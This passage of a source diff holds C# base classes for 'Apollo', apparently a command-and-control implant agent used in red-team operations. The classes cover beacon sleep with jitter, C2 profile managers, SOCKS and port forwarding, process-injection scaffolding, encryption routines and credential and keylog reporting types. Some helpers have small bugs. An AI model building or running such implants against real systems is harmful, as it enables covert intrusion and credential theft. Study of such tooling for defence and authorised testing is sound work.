return Registry.LocalMachine;
case "HKCU":
case "HKEY_CURRENT_USER":
return Registry.CurrentUser;
case "HKCR":
case "HKEY_CLASSES_ROOT":
return Registry.ClassesRoot;
case "HKU":
case "HKEY_USERS":
return Registry.Users;
case "HKCC":
case "HKEY_CURRENT_CONFIG":
return Registry.CurrentConfig;
default:
return null;
}
}
private static string ComputeSHA256Hash(string input)
{
using (SHA256 sha256 = SHA256.Create())
{
byte[] hashBytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(input));
StringBuilder sb = new StringBuilder();
foreach (byte b in hashBytes)
{
sb.Append(b.ToString("x2"));
}
return sb.ToString();
}
}
private static void Client_Disconnect(object sender, NamedPipeMessageArgs e)
{
e.Pipe.Close();
_complete.Set();
}
private static void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e)
{
System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token);
}
private static void OnAsyncMessageSent(IAsyncResult result)
{
PipeStream pipe = (PipeStream)result.AsyncState;
// Potentially delete this since theoretically the sender Task does everything
if (pipe.IsConnected)
{
pipe.EndWrite(result);
if (!_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] bdata))
{
pipe.BeginWrite(bdata, 0, bdata.Length, OnAsyncMessageSent, pipe);
}
}
}
private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args)
{
IPCData d = args.Data;
string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray());
Console.Write(msg);
}
private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs<IPCChunkedData> args)
{
MessageType mt = args.Chunks[0].Message;
List<byte> data = new List<byte>();
for (int i = 0; i < args.Chunks.Length; i++)
{
data.AddRange(Convert.FromBase64String(args.Chunks[i].Data));
}
IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt);
//Console.WriteLine("We got a message: {0}", mt.ToString());
_receiverQueue.Enqueue(msg);
_receiverEvent.Set();
}
}
}

View File

@@ -0,0 +1,35 @@
using System.Reflection;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Apollo")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Apollo")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("f606a86c-39af-4b5a-b146-f14edc1d762c")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup></configuration>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Costura.Fody" version="5.7.0" targetFramework="net40" developmentDependency="true" />
</packages>

Binary file not shown.

After

Width:  |  Height:  |  Size: 264 KiB

View File

@@ -0,0 +1,26 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net451</TargetFramework>
<OutputType>Library</OutputType>
<LangVersion>12</LangVersion>
<Nullable>enable</Nullable>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<Platforms>AnyCPU;x64;x86</Platforms>
</PropertyGroup>
<ItemGroup>
<Reference Include="System.Security" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
<PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
<PackageReference Include="System.Memory" Version="4.5.5" />
<PackageReference Include="System.ValueTuple" Version="4.5.0" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="PolySharp" Version="1.14.1" />
</ItemGroup>
<ItemGroup>
<Compile Remove="Serializers\ApolloSerializationBinder.cs" />
<Compile Remove="Serializers\EncryptedSMBSerializer.cs" />
</ItemGroup>
</Project>

View File

@@ -0,0 +1,29 @@
namespace ApolloInterop.Classes.Api
{
public class Library
{
public string Value { get; private set; }
private Library(string libraryName)
{
Value = libraryName;
}
public override string ToString()
{
return Value;
}
public static Library NTDLL { get { return new Library("ntdll.dll"); } }
public static Library ADVAPI32 { get { return new Library("advapi32.dll"); } }
public static Library KERNEL32 { get { return new Library("kernel32.dll"); } }
public static Library USER32 { get { return new Library("user32.dll"); } }
public static Library USERENV { get { return new Library("userenv.dll"); } }
public static Library SHELL32 { get { return new Library("shell32.dll"); } }
public static Library SAMCLI { get { return new Library("samcli.dll"); } }
public static Library NETUTILS { get { return new Library("netutils.dll"); } }
public static Library NETAPI32 { get { return new Library("Netapi32.dll"); } }
public static Library SRVCLI { get { return new Library("srvcli.dll"); } }
public static Library IPHLPAPI { get { return new Library("iphlpapi.dll"); } }
public static Library SECUR32 { get { return new Library("Secur32.dll"); } }
}
}

View File

@@ -0,0 +1,147 @@
using System;
using System.Collections;
using System.Collections.Generic;
namespace ApolloInterop.Classes.Collections
{
public class ThreadSafeList<T> : IList<T>
{
List<T> _collection = new List<T>();
public T this[int index] { get => GetIndexedItem(index); set => SetIndexedItem(index, value); }
private void SetIndexedItem(int index, T val)
{
lock(_collection)
{
_collection[index] = val;
}
}
private T GetIndexedItem(int index)
{
T item;
lock(_collection)
{
item = _collection[index];
}
return item;
}
public int Count()
{
int count = 0;
lock(_collection)
{
count = _collection.Count;
}
return count;
}
public bool IsReadOnly => false;
int ICollection<T>.Count => Count();
public void Add(T obj)
{
lock(_collection)
{
_collection.Add(obj);
}
}
public void Clear()
{
lock(_collection)
{
_collection.Clear();
}
}
public bool Contains(T item)
{
bool bRet;
lock(_collection)
{
bRet = _collection.Contains(item);
}
return bRet;
}
public void CopyTo(T[] array, int arrayIndex)
{
lock(_collection)
{
Buffer.BlockCopy(_collection.ToArray(), 0, array, arrayIndex, _collection.Count);
}
}
public IEnumerator<T> GetEnumerator()
{
IEnumerator<T> res;
lock(_collection)
{
res = _collection.GetEnumerator();
}
return res;
}
public int IndexOf(T item)
{
int i = -1;
lock(_collection)
{
i = _collection.IndexOf(item);
}
return i;
}
public void Insert(int index, T item)
{
lock(_collection)
{
_collection[index] = item;
}
}
public bool Remove(T obj)
{
bool bRet = false;
lock(_collection)
{
bRet = _collection.Remove(obj);
}
return bRet;
}
public void RemoveAt(int index)
{
lock(_collection)
{
_collection.RemoveAt(index);
}
}
IEnumerator IEnumerable.GetEnumerator()
{
IEnumerator res;
lock(_collection)
{
res = _collection.GetEnumerator();
}
return res;
}
public T[] Flush()
{
T[] result;
lock(_collection)
{
result = _collection.ToArray();
_collection.Clear();
}
return result;
}
}
}

View File

@@ -0,0 +1,115 @@
using System;
using System.Threading;
using ApolloInterop.Features.KerberosTickets;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes
{
public abstract class Agent : IAgent
{
private static Mutex _outputLock = new Mutex();
public int SleepInterval { get; protected set; } = 0;
public double Jitter { get; protected set; } = 0;
protected AutoResetEvent _sleepReset = new AutoResetEvent(false);
protected AutoResetEvent _exit = new AutoResetEvent(false);
protected WaitHandle[] _agentSleepHandles;
public bool Alive { get; protected set; } = true;
protected Random random = new Random((int)DateTime.UtcNow.Ticks);
public IPeerManager PeerManager { get; protected set; }
public ITaskManager TaskManager { get; protected set; }
public ISocksManager SocksManager { get; protected set; }
public IRpfwdManager RpfwdManager { get; protected set; }
public IApi Api { get; protected set; }
public IC2ProfileManager C2ProfileManager { get; protected set; }
public ICryptographySerializer Serializer { get; protected set; }
public IFileManager FileManager { get; protected set; }
public IIdentityManager IdentityManager { get; protected set; }
public IProcessManager ProcessManager { get; protected set; }
public IInjectionManager InjectionManager { get; protected set; }
public ITicketManager TicketManager { get; protected set; }
public string UUID { get; protected set; }
public Agent(string uuid)
{
UUID = uuid;
_agentSleepHandles = new WaitHandle[]
{
_sleepReset,
_exit
};
}
public abstract void Start();
public virtual void Exit() { Alive = false; _exit.Set(); }
public virtual void SetSleep(int seconds, double jitter=0)
{
SleepInterval = seconds * 1000;
Jitter = jitter;
if (Jitter != 0)
{
Jitter = Jitter / 100.0;
}
_sleepReset.Set();
}
public virtual IApi GetApi()
{
return Api;
}
public virtual void Sleep(WaitHandle[] handles = null)
{
int sleepTime = SleepInterval;
if (Jitter != 0)
{
int minSleep = (int)(SleepInterval * (1 - Jitter));
int maxSleep = (int)(SleepInterval * (Jitter + 1));
sleepTime = (int)(random.NextDouble() * (maxSleep - minSleep) + minSleep);
}
WaitHandle[] sleepers = _agentSleepHandles;
if (handles != null)
{
WaitHandle[] tmp = new WaitHandle[handles.Length + sleepers.Length];
Array.Copy(handles, tmp, handles.Length);
Array.Copy(sleepers, 0, tmp, handles.Length, sleepers.Length);
sleepers = tmp;
}
WaitHandle.WaitAny(sleepers, sleepTime);
}
public void AcquireOutputLock()
{
_outputLock.WaitOne();
}
public void ReleaseOutputLock()
{
_outputLock.ReleaseMutex();
}
public virtual bool IsAlive() { return Alive; }
public virtual ITaskManager GetTaskManager() { return TaskManager; }
public virtual IPeerManager GetPeerManager() { return PeerManager; }
public virtual ISocksManager GetSocksManager() { return SocksManager; }
public virtual IRpfwdManager GetRpfwdManager() { return RpfwdManager; }
public virtual IC2ProfileManager GetC2ProfileManager() { return C2ProfileManager; }
public virtual ICryptographySerializer GetCryptographySerializer() { return Serializer; }
public virtual IFileManager GetFileManager() { return FileManager; }
public virtual IIdentityManager GetIdentityManager() { return IdentityManager; }
public virtual IProcessManager GetProcessManager() { return ProcessManager; }
public virtual IInjectionManager GetInjectionManager() { return InjectionManager; }
public virtual ITicketManager GetTicketManager() { return TicketManager; }
public string GetUUID()
{
return UUID;
}
public void SetUUID(string newUUID){
UUID = newUUID;
}
}
}

View File

@@ -0,0 +1,22 @@
using System.Collections.Generic;
using ApolloInterop.Interfaces;
using System.Collections.Concurrent;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Classes.Core;
namespace ApolloInterop.Classes
{
public abstract class C2Profile
{
protected const int MAX_RETRIES = 10;
protected ISerializer Serializer;
protected IAgent Agent;
protected bool Connected = false;
protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
public C2Profile(Dictionary<string, string> parameters, ISerializer serializer, IAgent agent)
{
Agent = agent;
Serializer = serializer;
}
}
}

View File

@@ -0,0 +1,54 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes
{
public abstract class C2ProfileManager : IC2ProfileManager
{
protected IAgent Agent;
protected ConcurrentBag<IC2Profile> EgressProfiles = new ConcurrentBag<IC2Profile>();
protected ConcurrentBag<IC2Profile> IngressProfiles = new ConcurrentBag<IC2Profile>();
public C2ProfileManager(IAgent agent)
{
Agent = agent;
}
public abstract IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters);
public virtual bool AddEgress(IC2Profile profile)
{
EgressProfiles.Add(profile);
return true;
}
public virtual bool AddIngress(IC2Profile profile)
{
IngressProfiles.Add(profile);
return true;
}
public virtual IC2Profile[] GetEgressCollection()
{
return EgressProfiles.ToArray();
}
public virtual IC2Profile[] GetIngressCollection()
{
return IngressProfiles.ToArray();
}
public virtual IC2Profile[] GetConnectedEgressCollection()
{
List<IC2Profile> connected = new List<IC2Profile>();
foreach(var c2 in EgressProfiles.ToArray())
{
if (c2.IsConnected())
connected.Add(c2);
}
return connected.ToArray();
}
}
}

View File

@@ -0,0 +1,36 @@
using ApolloInterop.Classes.Events;
using ApolloInterop.Interfaces;
using System;
namespace ApolloInterop.Classes.Core
{
public class ChunkedMessageStore<T> where T : IChunkMessage
{
private T[] _messages = null;
private object _lock = new object();
private int _currentCount = 0;
public event EventHandler<ChunkMessageEventArgs<T>> ChunkAdd;
public event EventHandler<ChunkMessageEventArgs<T>> MessageComplete;
public void OnMessageComplete() => MessageComplete?.Invoke(this, new ChunkMessageEventArgs<T>(_messages));
public void AddMessage(T d)
{
lock(_lock)
{
if (_messages == null)
{
_messages = new T[d.GetTotalChunks()];
}
_messages[d.GetChunkNumber()-1] = d;
_currentCount += 1;
}
if (_currentCount == d.GetTotalChunks())
{
OnMessageComplete();
} else
{
ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<T>(new T[1] { d }));
}
}
}
}

View File

@@ -0,0 +1,83 @@
using ApolloInterop.Classes.Api;
using ApolloInterop.Interfaces;
using static ApolloInterop.Enums.Win32;
using System;
using System.ComponentModel;
namespace ApolloInterop.Classes.Core
{
public abstract class InjectionTechnique : IInjectionTechnique
{
protected byte[] _code;
protected int _processId;
protected IntPtr _hProcess = IntPtr.Zero;
protected IAgent _agent;
protected delegate IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int pid);
protected delegate bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
out IntPtr lpTargetHandle,
ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
protected delegate void CloseHandle(IntPtr hHandle);
protected OpenProcess _pOpenProcess;
protected DuplicateHandle _pDuplicateHandle;
protected CloseHandle _pCloseHandle;
// Dangerous - should only be used when resolving
// critical functions _pOpenProcess, _pDuplicateHandle,
// and _pCloseHandle.
public InjectionTechnique()
{
}
public InjectionTechnique(IAgent agent, byte[] code, int pid)
{
_code = code;
_processId = pid;
_agent = agent;
ResolveCriticalFunctions();
_hProcess = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, pid);
}
public InjectionTechnique(IAgent agent, byte[] code, IntPtr hProcess)
{
_code = code;
_agent = agent;
ResolveCriticalFunctions();
bool bRet = _pDuplicateHandle(
System.Diagnostics.Process.GetCurrentProcess().Handle,
hProcess,
hProcess,
out _hProcess,
ProcessAccessFlags.MAXIMUM_ALLOWED,
false,
0);
if (!bRet)
{
throw new Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error());
}
}
~InjectionTechnique()
{
if (_hProcess != IntPtr.Zero)
{
_pCloseHandle(_hProcess);
}
}
private void ResolveCriticalFunctions()
{
_pOpenProcess = _agent.GetApi().GetLibraryFunction<OpenProcess>(Library.KERNEL32, "OpenProcess");
_pDuplicateHandle = _agent.GetApi().GetLibraryFunction<DuplicateHandle>(Library.KERNEL32, "DuplicateHandle");
_pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
}
public abstract bool Inject(string arguments = "");
}
}

View File

@@ -0,0 +1,96 @@
using ApolloInterop.Classes.Api;
using ApolloInterop.Classes.Events;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.ApolloStructs;
using System;
namespace ApolloInterop.Classes.Core
{
public abstract class Process : IProcess
{
public string Application { get; protected set; }
public string CommandLine { get; protected set; }
protected bool _startSuspended;
public bool HasExited { get; protected set; }
public int ExitCode { get; protected set; }
public uint PID { get; protected set; }
public string StdOut { get; protected set; } = "";
public string StdErr { get; protected set; } = "";
public IntPtr Handle { get; protected set; }
protected IAgent _agent;
private delegate ulong RtlNtStatusToDosError(int status);
public event EventHandler<StringDataEventArgs> OutputDataReceived;
public event EventHandler<StringDataEventArgs> ErrorDataReceieved;
public event EventHandler Exit;
public void OnOutputDataReceived(object sender, StringDataEventArgs args)
{
OutputDataReceived?.Invoke(sender, args);
}
public void OnErrorDataRecieved(object sender, StringDataEventArgs args)
{
ErrorDataReceieved?.Invoke(sender, args);
}
public abstract void Kill();
public void OnExit(object sender, EventArgs args)
{
Exit?.Invoke(sender, args);
}
public Process(IAgent agent, string lpApplication, string lpArguments = null, bool startSuspended = false)
{
_agent = agent;
if (string.IsNullOrEmpty(lpApplication) && string.IsNullOrEmpty(lpArguments))
{
throw new Exception("Application and arguments cannot be null.");
}
if (string.IsNullOrEmpty(lpArguments))
{
CommandLine = lpApplication;
Application = lpApplication;
}
else if (string.IsNullOrEmpty(lpApplication))
{
CommandLine = lpArguments;
}
else
{
Application = lpApplication;
CommandLine = $"{lpApplication} {lpArguments}";
}
_startSuspended = startSuspended;
}
public int? GetExitCodeHResult()
{
const uint HRESULT_MASK = 0x80070000;
if (!HasExited)
{
return null;
}
var rtlNtStatusToDosError = _agent.GetApi().GetLibraryFunction<RtlNtStatusToDosError>(Library.NTDLL, "RtlNtStatusToDosError");
if (rtlNtStatusToDosError == null)
{
return null;
}
return unchecked((int)(rtlNtStatusToDosError(ExitCode) | HRESULT_MASK));
}
public abstract bool Inject(byte[] code, string arguments = "");
public abstract bool Start();
public abstract bool StartWithCredentials(ApolloLogonInformation logonInfo);
public abstract bool StartWithCredentials(IntPtr hToken);
public abstract void WaitForExit();
public abstract void WaitForExit(int milliseconds);
}
}

View File

@@ -0,0 +1,32 @@
using System;
using System.Net.Sockets;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Classes
{
public abstract class RpfwdManager : IRpfwdManager
{
protected IAgent _agent;
public RpfwdManager(IAgent agent)
{
_agent = agent;
}
public virtual bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task)
{
throw new NotImplementedException();
}
public virtual bool Route(SocksDatagram dg)
{
throw new NotImplementedException();
}
public virtual bool Remove(int id)
{
throw new NotImplementedException();
}
}
}

View File

@@ -0,0 +1,26 @@
using System;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Classes
{
public abstract class SocksManager : ISocksManager
{
protected IAgent _agent;
public SocksManager(IAgent agent)
{
_agent = agent;
}
public virtual bool Route(SocksDatagram dg)
{
throw new NotImplementedException();
}
public virtual bool Remove(int id)
{
throw new NotImplementedException();
}
}
}

View File

@@ -0,0 +1,128 @@
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Enums.ApolloEnums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using ApolloInterop.Serializers;
using ApolloInterop.Classes.Impersonation;
namespace ApolloInterop.Classes
{
public abstract class Tasking : ITask
{
protected IAgent _agent;
protected MythicTask _data;
protected static JsonSerializer _jsonSerializer = new JsonSerializer();
protected CancellationTokenSource _cancellationToken;
public Tasking(IAgent agent, MythicTask data)
{
_agent = agent;
_data = data;
_cancellationToken = new CancellationTokenSource();
}
public string ID()
{
return _data.ID;
}
public abstract void Start();
public virtual System.Threading.Tasks.Task CreateTasking()
{
return new System.Threading.Tasks.Task(() =>
{
var impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity();
ImpersonationScope.Run(impersonationIdentity, Start);
}, _cancellationToken.Token);
}
public virtual void Kill()
{
_cancellationToken.Cancel();
}
public virtual MythicTaskResponse CreateTaskResponse(object userOutput, bool completed, string? status = null, IEnumerable<IMythicMessage>? messages = null)
{
MythicTaskResponse resp = new MythicTaskResponse();
resp.UserOutput = userOutput;
resp.Completed = completed;
resp.TaskID = _data.ID;
resp.Status = status;
if (messages != null)
{
List<EdgeNode> edges = new List<EdgeNode>();
List<Credential> creds = new List<Credential>();
List<RemovedFileInformation> removed = new List<RemovedFileInformation>();
List<Artifact> artifacts = new List<Artifact>();
List<ProcessInformation> processes = new List<ProcessInformation>();
List<CommandInformation> cmds = new List<CommandInformation>();
List<KeylogInformation> keylogs = new List<KeylogInformation>();
foreach (IMythicMessage msg in messages)
{
switch (msg.GetTypeCode())
{
case MessageType.CommandInformation:
cmds.Add((CommandInformation)msg);
break;
case MessageType.EdgeNode:
edges.Add((EdgeNode)msg);
break;
case MessageType.FileBrowser:
resp.FileBrowser = (FileBrowser)msg;
break;
case MessageType.Credential:
creds.Add((Credential)msg);
break;
case MessageType.RemovedFileInformation:
removed.Add((RemovedFileInformation)msg);
break;
case MessageType.Artifact:
artifacts.Add((Artifact)msg);
break;
case MessageType.UploadMessage:
resp.Upload = (UploadMessage)msg;
break;
case MessageType.DownloadMessage:
resp.Download = (DownloadMessage)msg;
break;
case MessageType.ProcessInformation:
processes.Add((ProcessInformation)msg);
break;
case MessageType.KeylogInformation:
keylogs.Add((KeylogInformation)msg);
break;
case MessageType.CallbackUpdate:
resp.Callback = (CallbackUpdate)msg;
break;
default:
throw new Exception($"Unhandled message type while generating response: {msg.GetTypeCode()}");
}
}
resp.Edges = edges.ToArray();
resp.Credentials = creds.ToArray();
resp.RemovedFiles = removed.ToArray();
resp.Artifacts = artifacts.ToArray();
resp.Commands = cmds.ToArray();
resp.Keylogs = keylogs.ToArray();
if (processes.Count > 0)
{
resp.Processes = processes.ToArray();
}
}
return resp;
}
public virtual MythicTaskResponse CreateArtifactTaskResponse(IEnumerable<Artifact> artifacts)
{
var artifactMessages = new IMythicMessage[artifacts.Count()];
for (int i = 0; i < artifacts.Count(); i++)
{
artifactMessages[i] = artifacts.ElementAt(i);
}
return CreateTaskResponse("", false, "", artifactMessages);
}
}
}

View File

@@ -0,0 +1,80 @@
using System.IO;
using System.Security.Cryptography;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes.Cryptography
{
public class AesRoutine : ICryptographicRoutine
{
private readonly Aes _aes;
public AesRoutine()
{
_aes = Aes.Create();
}
public AesRoutine(Aes aes)
{
_aes = aes;
}
public byte[] Encrypt(byte[] plaintext)
{
byte[] encrypted;
// Create an Aes object
// with the specified key and IV.
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = _aes.Key;
aesAlg.IV = _aes.IV;
// Create an encryptor to perform the stream transform.
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
// Create the streams used for encryption.
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
csEncrypt.Write(plaintext, 0, plaintext.Length);
}
encrypted = msEncrypt.ToArray();
}
}
// Return the encrypted bytes from the memory stream.
return encrypted;
}
public byte[] Decrypt(byte[] encrypted)
{
byte[] plaintext;
// Create an Aes object
// with the specified key and IV.
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = _aes.Key;
aesAlg.IV = _aes.IV;
// Create a decryptor to perform the stream transform.
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
// Create the streams used for decryption.
using (MemoryStream msDecrypt = new MemoryStream(encrypted))
{
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
{
using (BinaryReader brDecrypt = new BinaryReader(csDecrypt))
{
plaintext = brDecrypt.ReadBytes((int)msDecrypt.Length);
}
}
}
}
return plaintext;
}
}
}

View File

@@ -0,0 +1,42 @@
using System;
using System.Text;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes
{
abstract public class CryptographyProvider : ICryptography
{
public byte[] PSK { get; private set; }
protected byte[] UUID { get; private set; }
public bool UUIDUpdated { get; private set; } = false;
public CryptographyProvider(string uuid, string key)
{
PSK = Convert.FromBase64String(key);
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
}
// UUID should only be updated once after agent registration.
public bool UpdateUUID(string uuid)
{
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
UUIDUpdated = true;
return true;
}
virtual public bool UpdateKey(string key)
{
PSK = Convert.FromBase64String(key);
return true;
}
public virtual string GetUUID()
{
return ASCIIEncoding.ASCII.GetString(UUID);
}
public abstract string Encrypt(string plaintext);
public abstract string Decrypt(string ciphertext);
}
}

View File

@@ -0,0 +1,32 @@
using System.Security.Cryptography;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes.Cryptography
{
public class DpapiRoutine : ICryptographicRoutine
{
private readonly byte[] _additionalEntropy;
private readonly DataProtectionScope _scope;
public DpapiRoutine(byte[] additionalEntropy, DataProtectionScope scope = DataProtectionScope.CurrentUser)
{
_additionalEntropy = additionalEntropy;
_scope = scope;
}
public DpapiRoutine(DataProtectionScope scope = DataProtectionScope.CurrentUser)
{
_scope = scope;
_additionalEntropy = null;
}
public byte[] Encrypt(byte[] data)
{
return ProtectedData.Protect(data, _additionalEntropy, _scope);
}
public byte[] Decrypt(byte[] data)
{
return ProtectedData.Unprotect(data, _additionalEntropy, _scope);
}
}
}

View File

@@ -0,0 +1,33 @@
using System;
using System.Linq;
using System.Security.Cryptography;
namespace ApolloInterop.Classes
{
public abstract class RSAKeyGenerator
{
public string SessionId { get; private set; }
public RSACryptoServiceProvider RSA { get; protected set; }
public RSAKeyGenerator(int szKey)
{
SessionId = GenerateSessionId();
}
public RSAKeyGenerator(RSACryptoServiceProvider provider)
{
SessionId = GenerateSessionId();
RSA = provider;
}
public virtual string GenerateSessionId()
{
Random random = new Random((int)DateTime.UtcNow.Ticks);
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(chars, 20)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public abstract string ExportPublicKey();
public abstract string ExportPrivateKey();
}
}

View File

@@ -0,0 +1,42 @@
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes.Cryptography
{
public class XorRoutine : ICryptographicRoutine
{
private byte[] _key;
public XorRoutine(byte[] key = null)
{
if (key == null)
{
_key = System.Guid.NewGuid().ToByteArray();
}
}
private byte[] Xor(byte[] input)
{
int j = 0;
for (int i = 0; i < input.Length; i++, j++)
{
if (j == _key.Length)
{
j = 0;
}
input[i] = (byte)(input[i] ^ _key[j]);
}
return input;
}
public byte[] Encrypt(byte[] data)
{
return Xor(data);
}
public byte[] Decrypt(byte[] data)
{
return Xor(data);
}
}
}

View File

@@ -0,0 +1,15 @@
using ApolloInterop.Interfaces;
using System;
namespace ApolloInterop.Classes.Events
{
public class ChunkMessageEventArgs<T> : EventArgs where T : IChunkMessage
{
public T[] Chunks;
public ChunkMessageEventArgs(T[] chunks)
{
Chunks = chunks;
}
}
}

View File

@@ -0,0 +1,12 @@
using ApolloInterop.Interfaces;
using System;
namespace ApolloInterop.Classes.Events
{
public class MythicMessageEventArgs : EventArgs
{
public IMythicMessage Message;
public MythicMessageEventArgs(IMythicMessage msg) => Message = msg;
}
}

View File

@@ -0,0 +1,14 @@
using System;
namespace ApolloInterop.Classes.Events
{
public class StringDataEventArgs : EventArgs
{
public string Data;
public StringDataEventArgs(string d)
{
Data = d;
}
}
}

View File

@@ -0,0 +1,13 @@
using System;
namespace ApolloInterop.Classes
{
public class UUIDEventArgs : EventArgs
{
public readonly string UUID;
public UUIDEventArgs(string uuid)
{
UUID = uuid;
}
}
}

View File

@@ -0,0 +1,188 @@
using ApolloInterop.Classes.Events;
using System;
using System.IO;
using System.Linq;
namespace ApolloInterop.Classes.IO
{
public class EventableStringWriter : StringWriter
{
public event EventHandler<StringDataEventArgs> BufferWritten;
public override void Write(string value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value));
}
public override void Write(char[] buffer, int index, int count)
{
string value = new string(buffer.Skip(index).Take(count).ToArray());
BufferWritten?.Invoke(this, new StringDataEventArgs(value));
}
public override void Write(char[] buffer)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer)));
}
public override void Write(bool value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(int value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(uint value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(long value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(ulong value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(float value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(double value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(decimal value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(object value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(string format, object arg0)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0)));
}
public override void Write(string format, object arg0, object arg1)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1)));
}
public override void Write(string format, object arg0, object arg1, object arg2)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2)));
}
public override void Write(string format, params object[] arg)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg)));
}
public override void Write(char value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void WriteLine(char[] buffer, int index, int count)
{
string value = new string(buffer.Skip(0).Take(count).ToArray());
BufferWritten?.Invoke(this, new StringDataEventArgs(value + "\r\n"));
}
public override void WriteLine()
{
BufferWritten?.Invoke(this, new StringDataEventArgs("\r\n"));
}
public override void WriteLine(char value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(char[] buffer)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer) + "\r\n"));
}
public override void WriteLine(bool value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(int value)
{
